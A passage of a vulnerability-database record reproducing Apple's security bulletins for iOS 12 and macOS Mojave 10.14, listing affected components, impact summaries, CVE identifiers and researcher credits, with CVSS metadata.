Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**iBooks**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4355: evi1m0 of bilibili security team\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated September 17, 2019\n\n**IOKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 30, 2018\n\n**IOMobileFrameBuffer**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4335: Brandon Azad\n\n**IOUserEthernet**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**mDNSOffloadUserClient**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\nEntry added October 30, 2018\n\n**MediaRemote**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\nEntry added October 30, 2018\n\n**Messages**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover a user\u2019s deleted messages\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of message deletions.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Notes**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover a user\u2019s deleted notes\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of notes deletions.\n\nCVE-2018-4352: Utku Altinkaynak\n\nEntry updated October 30, 2018\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A user may be unable to delete browsing history items\n\nDescription: Clearing a history item may not clear visits with redirect chains. The issue was addressed with improved data deletion.\n\nCVE-2018-4329: Hugo S. Diaz (coldpointblue)\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may be able to exfiltrate autofilled data in Safari\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority\n\n**SafariViewController**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Visiting a malicious website may lead to address bar spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2018-4362: Jun Kokatsu (@shhnjk)\n\n**Security**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Security**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Status Bar**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2018-4325: Brian Adeloye\n\n**Symptom Framework**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may be able to execute scripts in the context of another website\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 2019\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Cross-origin SecurityErrors includes the accessed frame\u2019s origin\n\nDescription: The issue was addressed by removing origin information.\n\nCVE-2018-4311: Erling Alf Ellingsen (@steike)\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4360: William Bowling (@wcbowling)\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may cause unexepected cross-origin behavior\n\nDescription: A cross-origin issue existed with iframe elements. This was addressed with improved tracking of security origins.\n\nCVE-2018-4319: John Pettitt of Google\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may exfiltrate image data cross-origin\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4345: Jun Kokatsu (@shhnjk)\n\nEntry added September 24, 2018, updated December 13, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4315: Ivan Fratric of Google Project Zero\n\nCVE-2018-4197: Ivan Fratric of Google Project Zero\n\nCVE-2018-4312: Ivan Fratric of Google Project Zero\n\nCVE-2018-4306: Ivan Fratric of Google Project Zero\n\nCVE-2018-4318: Ivan Fratric of Google Project Zero\n\nCVE-2018-4317: Ivan Fratric of Google Project Zero\n\nCVE-2018-4314: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n\n\n## Additional recognition\n\n**APFS**\n\nWe would like to acknowledge Umang Raghuvanshi for their assistance.\n\nEntry added December 13, 2018\n\n**Assets**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**configd**\n\nWe would like to acknowledge Sabri Haddouche (@pwnsdx) of Wire Swiss GmbH for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**CoreSymbolication**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Exchange ActiveSync**\n\nWe would like to acknowledge an anonymous researcher, Jesse Thompson of University of Wisconsin-Madison for their assistance.\n\nEntry updated January 22, 2019\n\n**Feedback Assistant**\n\nWe would like to acknowledge Marco Grassi (@marcograss) of KeenLab (@keen_lab) Tencent working with Trend Micro\u2019s Zero Day Initiative for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Mail**\n\nWe would like to acknowledge Alessandro Avagliano of Rocket Internet SE, Gunnar Diepenbruck, and Zbyszek \u017b\u00f3\u0142kiewski for their assistance.\n\n**MediaRemote**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero for their assistance.\n\nEntry added December 13, 2018\n\n**Safari**\n\nWe would like to acknowledge Marcel Manz of SIMM-Comm GmbH and Vlad Galbin for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**Security**\n\nWe would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip Klubi\u010dka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Horatiu Graur of SoftVision, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, an anonymous researcher for their assistance.\n\nEntry updated June 24, 2019\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Status Bar**\n\nWe would like to acknowledge Ju Zhu of Meituan and Moony Li and Lilang Wu of Trend Micro for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative, and Zach Malone of CA Technologies for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-09-17T10:55:07", "title": "About the security content of iOS 12 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4361", "CVE-2018-4383", "CVE-2018-4321", "CVE-2018-4425", "CVE-2018-4354", "CVE-2018-4328", "CVE-2018-4358", "CVE-2018-4307", "CVE-2018-4399", "CVE-2018-4305", "CVE-2018-4323", "CVE-2018-4433", "CVE-2018-4319", "CVE-2018-4337", "CVE-2018-4407", "CVE-2018-4362", "CVE-2018-4360", "CVE-2018-4336", "CVE-2018-4345", "CVE-2018-4304", "CVE-2018-4340", "CVE-2018-4333", "CVE-2018-4299", "CVE-2018-4322", "CVE-2018-4329", "CVE-2018-4395", "CVE-2018-4356", "CVE-2018-4325", "CVE-2018-4414", "CVE-2018-4197", "CVE-2018-4315", "CVE-2018-4355", "CVE-2018-4311", "CVE-2016-1777", "CVE-2018-4310", "CVE-2018-4318", "CVE-2018-4347", "CVE-2018-4401", "CVE-2018-4343", "CVE-2018-4314", "CVE-2018-4352", "CVE-2018-4316", "CVE-2018-4335", "CVE-2018-4306", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4363", "CVE-2018-4191", "CVE-2018-4312", "CVE-2018-4203", "CVE-2018-4326", "CVE-2018-4426", "CVE-2018-4474", "CVE-2018-4317", "CVE-2018-4313", "CVE-2018-4309", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-5383", "CVE-2018-4359", "CVE-2018-4341", "CVE-2018-4344", "CVE-2018-4126"], "modified": "2019-09-17T10:55:07", "id": "APPLE:HT209106", "href": "https://support.apple.com/kb/HT209106", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:32", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## macOS Mojave 10.14\n\nReleased September 24, 2018\n\n**Bluetooth**\n\nAvailable for: iMac (21.5-inch, Late 2012), iMac (27-inch, Late 2012), iMac (21.5-inch, Late 2013), iMac (21.5-inch, Mid 2014), iMac (Retina 5K, 27-inch, Late 2014), iMac (21.5-inch, Late 2015), Mac mini (Mid 2011), Mac mini Server (Mid 2011), Mac mini (Late 2012), Mac mini Server (Late 2012), Mac mini (Late 2014), Mac Pro (Late 2013), MacBook Air (11-inch, Mid 2011), MacBook Air (13-inch, Mid 2011), MacBook Air (11-inch, Mid 2012), MacBook Air (13-inch, Mid 2012), MacBook Air (11-inch, Mid 2013), MacBook Air (13-inch, Mid 2013), MacBook Air (11-inch, Early 2015), MacBook Air (13-inch, Early 2015), MacBook Pro (13-inch, Mid 2012), MacBook Pro (15-inch, Mid 2012), MacBook Pro (Retina, 13-inch, Early 2013), MacBook Pro (Retina, 15-inch, Early 2013), MacBook Pro (Retina, 13-inch, Late 2013), and MacBook Pro (Retina, 15-inch, Late 2013)\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\nThe updates below are available for these Mac models: MacBook (Early 2015 and later), MacBook Air (Mid 2012 and later), MacBook Pro (Mid 2012 and later), Mac mini (Late 2012 and later), iMac (Late 2012 and later), iMac Pro (all models), Mac Pro (Late 2013, Mid 2010, and Mid 2012 models with recommended Metal-capable graphics processor, including MSI Gaming Radeon RX 560 and Sapphire Radeon PULSE RX 580)\n\n**afpserver**\n\nImpact: A remote attacker may be able to attack AFP servers through HTTP clients\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4295: Jianjun Chen (@whucjj) from Tsinghua University and UC Berkeley\n\nEntry added October 30, 2018\n\n**App Store**\n\nImpact: A malicious application may be able to determine the Apple ID of the owner of the computer\n\nDescription: A permissions issue existed in the handling of the Apple ID. This issue was addressed with improved access controls.\n\nCVE-2018-4324: Sergii Kryvoblotskyi of MacPaw Inc.\n\n**AppleGraphicsControl**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4417: Lee of the Information Security Lab Yonsei University working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Application Firewall**\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4353: Abhinav Bansal of LinkedIn Inc.\n\nEntry updated October 30, 2018\n\n**APR**\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2017-12613: Craig Young of Tripwire VERT\n\nCVE-2017-12618: Craig Young of Tripwire VERT\n\nEntry added October 30, 2018\n\n**ATS**\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4411: lilang wu moony Li of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**ATS**\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4308: Mohamed Ghannam (@_simo36)\n\nEntry added October 30, 2018\n\n**Auto Unlock**\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\n**CFNetwork**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreText**\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Crash Reporter**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4333: Brandon Azad\n\n**CUPS**\n\nImpact: In certain configurations, a remote attacker may be able to replace the message content from the print server with arbitrary content\n\nDescription: An injection issue was addressed with improved validation.\n\nCVE-2018-4153: Michael Hanselmann of hansmi.ch\n\nEntry added October 30, 2018\n\n**CUPS**\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4406: Michael Hanselmann of hansmi.ch\n\nEntry added October 30, 2018\n\n**Dictionary**\n\nImpact: Parsing a maliciously crafted dictionary file may lead to disclosure of user information\n\nDescription: A validation issue existed which allowed local file access. This was addressed with input sanitization.\n\nCVE-2018-4346: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\nEntry added October 30, 2018\n\n**DiskArbitration**\n\nImpact: A malicious application may be able to modify contents of the EFI system partition and execute arbitrary code with kernel privileges if secure boot is not enabled\n\nDescription: A permissions issue existed in DiskArbitration. This was addressed with additional ownership checks.\n\nCVE-2018-4296: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**dyld**\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**fdesetup**\n\nImpact: Institutional recovery keys may be incorrectly reported as present\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8643: Arun Sharma of VMWare\n\nEntry added August 1, 2019\n\n**Firmware**\n\nImpact: An attacker with physical access to a device may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2017-5731: Intel and Eclypsium\n\nCVE-2017-5732: Intel and Eclypsium\n\nCVE-2017-5733: Intel and Eclypsium\n\nCVE-2017-5734: Intel and Eclypsium\n\nCVE-2017-5735: Intel and Eclypsium\n\nEntry added June 24, 2019\n\n**Grand Central Dispatch**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**Hypervisor**\n\nImpact: Systems with microprocessors utilizing speculative execution and address translations may allow unauthorized disclosure of information residing in the L1 data cache to an attacker with local user access with guest OS privilege via a terminal page fault and a side-channel analysis\n\nDescription: An information disclosure issue was addressed by flushing the L1 data cache at the virtual machine entry.\n\nCVE-2018-3646: Baris Kasikci, Daniel Genkin, Ofir Weisse, and Thomas F. Wenisch of University of Michigan, Mark Silberstein and Marina Minkin of Technion, Raoul Strackx, Jo Van Bulck, and Frank Piessens of KU Leuven, Rodrigo Branco, Henrique Kawakami, Ke Sun, and Kekai Hu of Intel Corporation, Yuval Yarom of The University of Adelaide\n\nEntry added October 30, 2018\n\n**iBooks**\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4355: evi1m0 of bilibili security team\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4396: Yu Wang of Didi Research America\n\nCVE-2018-4418: Yu Wang of Didi Research America\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4351: Appology Team @ Theori working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4350: Yu Wang of Didi Research America\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4334: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**Intel Graphics Driver**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4451: Tyler Bohan of Cisco Talos\n\nCVE-2018-4456: Tyler Bohan of Cisco Talos\n\nEntry added December 21, 2018, updated January 22, 2019\n\n**IOHIDFamily**\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated August 1, 2019\n\n**IOKit**\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 30, 2018\n\n**IOUserEthernet**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**Kernel**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry updated October 30, 2018\n\n**LibreSSL**\n\nImpact: Multiple issues in libressl were addressed in this update\n\nDescription: Multiple issues were addressed by updating to libressl version 2.6.4.\n\nCVE-2015-3194\n\nCVE-2015-5333\n\nCVE-2015-5334\n\nCVE-2016-0702\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Login Window**\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4348: Ken Gannon of MWR InfoSecurity and Christian Demko of MWR InfoSecurity\n\nEntry added October 30, 2018\n\n**mDNSOffloadUserClient**\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\nEntry added October 30, 2018\n\n**MediaRemote**\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\nEntry added October 30, 2018\n\n**Microcode**\n\nImpact: Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addresses of all prior 